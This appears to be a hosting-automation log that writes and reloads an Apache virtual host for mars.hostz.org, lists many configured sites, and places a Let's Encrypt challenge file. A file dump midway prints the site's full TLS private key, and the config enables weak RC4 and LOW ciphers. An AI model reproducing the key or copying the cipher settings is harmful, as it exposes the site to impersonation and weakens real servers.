    CustomLog	/var/log/apache2/hostz/mars_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-26 06:00:10: 

PUT: /tmp/pkp602839

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=000-hostz_mars_org.conf
TARGET=/etc/apache2/sites-enabled/000-hostz_mars_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/mars_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mars/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/mars_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/000-hostz_mars_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2//etc/apache2/sites-enabled/000-hostz_mars_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/000-hostz_mars_org.conf= 1'
fi


2026-06-26 06:00:10: 

chmod 755 /tmp/pkp602839; /tmp/pkp602839; rm /tmp/pkp602839

2026-06-26 06:00:10: 




2026-06-26 06:00:10: 

PUT: /tmp/pkp277091

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-26 06:00:10: 

chmod 755 /tmp/pkp277091; /tmp/pkp277091; rm /tmp/pkp277091

2026-06-26 06:00:10: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-26 06:00:10: Establishing a connection
2026-06-26 06:00:10: 

PUT: /tmp/pkp537904

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-26 06:00:10: 

chmod 755 /tmp/pkp537904; /tmp/pkp537904; rm /tmp/pkp537904

2026-06-26 06:00:10: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
         port 80 namevhost login.vela.work (/etc/apache2/sites-enabled/vela_login_work.conf:2)
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:23)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
         port 443 namevhost login.vela.work (/etc/apache2/sites-enabled/vela_login_work.conf:22)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-26 06:00:10: 

PUT: /tmp/pkp950977

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/000-hostz_mars_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-26 06:00:10: 

chmod 755 /tmp/pkp950977; /tmp/pkp950977; rm /tmp/pkp950977

2026-06-26 06:00:10: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/000-hostz_mars_org.conf	1374

<VirtualHost *:80>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/mars_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mars/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/mars_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-26 06:00:10: 

PUT: /tmp/pkp628907

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-26 06:00:10: 

chmod 755 /tmp/pkp628907; /tmp/pkp628907; rm /tmp/pkp628907

2026-06-26 06:00:10: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d	7412
89:3d:7a:5d:1d:db:5f:67:62:47:c3:74:70:8a:35:33

-----BEGIN CERTIFICATE-----
MIIE9TCCA92gAwIBAgISBUUqZF7eb3/Fbt625X/U/y0lMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjI2MDUwMTM4WhcNMjYwOTI0MDUwMTM3WjAZMRcwFQYDVQQD
Ew5tYXJzLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AKmCS//h4llQ+jR/BMksHBH5CS9mDIzqMmyj5cDz94Nt9c1TK2EO56KvNio//fD4
o/dJvVg8GcJDwxPnnaq6bt/LLej2eHigc69tbdPDRdkKwAWT5xLtwlTUchFEIEKG
JDdgS3+5b7C34vXFi5Ob68rDhAKXJXd6lTFZ4L90VNxcBATu0ZAwdFkf6LaG5pz8
lZEJieW7Ltf23EnN9cKx8wgB4VB1gskFmWoQsqHqtGs3CmKymnLkXiak062RukK2
oapQ1O6nobLvkiH0lGWBTlpF3qPSsb1xQI4fd/R9b/efI44YloniOYStcg1ApWt3
WNpUcJlkWU4biJmg1g9vqo0CAwEAAaOCAhswggIXMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRBhyHr
W1vR3erIYsOSaB3zRIJ+UjAfBgNVHSMEGDAWgBRAFS0mee0yIJ7fmnId1jIfgQyB
DDAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjIuaS5sZW5j
ci5vcmcvMBkGA1UdEQQSMBCCDm1hcnMuaG9zdHoub3JnMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly95cjIuYy5sZW5jci5vcmcv
MzguY3JsMIIBCwYKKwYBBAHWeQIEAgSB/ASB+QD3AHYAyzj3FYl8hKFEX1vB3fvJ
bvKaWc1HCmkFhbDLFMMUWOcAAAGfAoOhSgAABAMARzBFAiA7f//4vkA17VlmEd7+
n5YTuchz9LHDpcVXzDRywwEk2gIhAMbjtDjXXgXFQGepmaAeKVErNtX728o6W+NY
aoqtrKITAH0AbP5QGUOoXqkWvFLRM+TcyR7xQRx9JYQg0XOAnhgY6zoAAAGfAoOi
5AAIAAAFABInPfgEAwBGMEQCIHCQKmhHMumUi+Q/epZTZR4QrHnimjUbyNkrertI
+hu5AiBUmUG35IGLMQNaeernanDzyKg4zySCyGCkkYVCD41OEzANBgkqhkiG9w0B
AQsFAAOCAQEAiP+9cjQMhxqzrf7uNSYMcBSniCRObZz5RydflJJlDlhxgaF4lAcL
MxAM71ftcxW0Thb5qy1QV02ldtMdm6nL96Y5EQPokZzRRA2nXszVIWA1pGBR2/rc
nXmcD2husSTXQFMtCfjgl41PNKE+0MkP+rHpPZa45ina2697gpHuDXWsNrj/IkdA
gmOIzdOY6DqmIURzAIajC4adYwqGok1k8dqB8ugrhIkdvVtuFqQTfbwBfYhF001B
ugt4D4afF1LJJZa7X0mmfXN9hxDJ11VXSrcPKqY6RIplY0EjqvDwVU5sKP9U6xQu
UyNSSMpqtgXDP2eg5stc09YLQh8nYS6O5w==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCpgkv/4eJZUPo0
fwTJLBwR+QkvZgyM6jJso+XA8/eDbfXNUythDueirzYqP/3w+KP3Sb1YPBnCQ8MT
552qum7fyy3o9nh4oHOvbW3Tw0XZCsAFk+cS7cJU1HIRRCBChiQ3YEt/uW+wt+L1
xYuTm+vKw4QClyV3epUxWeC/dFTcXAQE7tGQMHRZH+i2huac/JWRCYnluy7X9txJ
zfXCsfMIAeFQdYLJBZlqELKh6rRrNwpisppy5F4mpNOtkbpCtqGqUNTup6Gy75Ih
9JRlgU5aRd6j0rG9cUCOH3f0fW/3nyOOGJaJ4jmErXINQKVrd1jaVHCZZFlOG4iZ
oNYPb6qNAgMBAAECggEACiZhbx/DOjZpWQHfEz23K5NWK7aoWzq9zLgOrpxdLotD
y+jmQNBP6fOkYmjFB6wXw1uwwQsOPs3obTVyATJbJ77mj5vMkGqJKtC6YhMACHRG
lb7qt/0xJPu4ndSOuvUFz6QOOUZtC++i4TUUO8E7H//PlIkg5vPZ4aPgW453c19d
BRWvdKS19MuXDYyapLrKq1DGJxyzHr+mtDkX7Z05cYtAazsCpcDw04hLyo3EkY0q
aGLk6P3/ykYKAzFL3bmDqDz9wNMVBTz2HbJ+/2YwDuRuPFAuSAHo+YIqUbJC+fue
hg9V4HMo2Fe1QvpQKy4AAaU95d+Z/byhwY41NeXVEQKBgQDqwdDdWpNI8OEnRP65
KrWtBHMb94g2DP9H+XDyJXPlZXPKKQGZD8ZPHtkJtllInZiW+xzxlKX9aLV5BqNu
S3Cz6np+zS+HYKtVc/X3F/DH8WmNPoR91ffIHFTb5OovlC1WhffWQGfep9HWppxl
4lb6rN3x0gBfhJOOSPlCQxUEcQKBgQC42P+NNsLR+BYPA/3RJi8i/js7fp+jjMOG
S+htuOzEJWeOGICPb9oF+lFK5KY09+R70QzwhTQJNfqvuGCiXmsJ/wIPn5BIW02G
ulEXh0DPZx3F+MaKIhN1tb3E/R/ncLrhY8r4gFarEcr7RL82pdXXMjFLQG9RuAHn
OLMCQE6l3QKBgHmYrrEZK1UKv/TxPed3geb+eQkxa/JjRQ9o2uHyGFfn9tPt7Y/0
pclxtwXa1+BPESyTIWjYkCn0RJtNnvWQSe5HM+/eJBJBNj3q9KpqUiOenge1LDdp
zxBt7F6B8fN3EwzQE5F8htDDqGNApZ34YQky5TtOhTb0muGGVuXFjWthAoGBAJE9
P56PVohwa7SkqDw7ynGuXJAkr/5rzf2pixkbYj3EPheyPOF3O1HTGyjDe6zG0mpP
GeGqZ/aMyUpkjtlFYslZ6x6ne1C/HK0tnCXmig/sr8Ir9KP4nl2wzUkIspbBRrVu
Gb8j5/VGZ70CiVPA/cK2l3DPUihdcnFhZZXxPVqpAoGAR1/SS82gI/3xvCxHAyet
3rvtzf/fSPJuz+38N2sz/Kvg6mjoCmy1Qckyrq0vyHg+UReqMUwg9ML3oS4EfDyl
rnykznJMhGwaiZ9WOMgPXnQJ0CvdUnEY+W8uVxauMtDPf6ZNBZ6DCDwC3d8t1ISO
p97wFSNmjVOlXJf9mTFkQ9o=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----






2026-06-27 06:00:02: Establishing a connection
2026-06-27 06:00:04: Establishing a connection
2026-06-27 06:00:05: 

PUT: /tmp/pkp280053

#!/bin/bash
if [ -d "/var/www/zoomchat_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-27 06:00:06: 

chmod 755 /tmp/pkp280053; /tmp/pkp280053; rm /tmp/pkp280053

2026-06-27 06:00:06: 


1


2026-06-27 06:00:07: Establishing a connection
2026-06-27 06:00:09: 

PUT: /tmp/pkp392265

#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
cat > 3oovaisLP0eLlh7IubZvx5EeIze_x6YumbrlHJPH5vQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
3oovaisLP0eLlh7IubZvx5EeIze_x6YumbrlHJPH5vQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 3oovaisLP0eLlh7IubZvx5EeIze_x6YumbrlHJPH5vQ


2026-06-27 06:00:10: 

chmod 755 /tmp/pkp392265; /tmp/pkp392265; rm /tmp/pkp392265

2026-06-27 06:00:10: 




2026-06-27 06:00:14: Establishing a connection
